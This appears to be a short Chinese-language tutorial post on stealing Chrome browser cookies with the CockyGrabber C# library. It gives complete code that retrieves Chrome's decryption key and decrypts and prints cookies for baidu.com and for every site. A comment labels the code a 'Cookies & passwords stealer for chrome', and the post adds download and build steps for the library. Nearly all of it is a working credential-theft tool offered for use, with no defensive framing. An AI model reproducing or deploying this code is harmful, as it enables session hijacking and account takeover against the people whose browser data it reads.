链接
用c#写的,利用方式,以抓取google浏览器的cookie为例:
在example目录下新建一个csharp项目,代码如下:
using CockyGrabber;
using Cookie = CockyGrabber.Classes.Cookie;
using System;
using System.Collections.Generic;
//Cookies & passwords stealer for chrome
using System.IO;
using System.Linq;
using System.Text;
using System.Threading.Tasks;
namespace Grabgoogle
{
class Program
{
static void Main(string[] args)
{
StringBuilder cookieschrome = new StringBuilder();
StringBuilder passwordschrome = new StringBuilder();
ChromeGrabber grabber = new ChromeGrabber();
byte[] keyToDecryptEncrypedDB = grabber.GetKey();
// Get cookies by hostname:
foreach (Cookie cookie in grabber.GetCookiesByHostname(".baidu.com", keyToDecryptEncrypedDB))
{
string cookieHostname = cookie.HostName;
string cookieName = cookie.Name;
string cookieValue = cookie.Value;
Console.WriteLine($"{cookieHostname} = {cookieName}: {cookieValue}");
}
// Get All cookies:
foreach (Cookie cookie in grabber.GetAllCookies(keyToDecryptEncrypedDB))
{
string cookieHostname = cookie.HostName;
string cookieName = cookie.Name;
string cookieValue = cookie.Value;
Console.WriteLine($"{cookieHostname} = {cookieName}: {cookieValue}");
}
}
}
}
两个功能,一个是抓取baidu.com的cookie,一个是抓取全局cookie
下载https://github.com/TheBackdoor/CockyGrabber/releases/download/2.1.0/webGrabber.dll
在VS中选择添加引用导入dll,然后在选择项目中选择管理NuGet程序包,下载bouncycastle、system.data.sqlite.core等等,缺什么下什么
效果如下: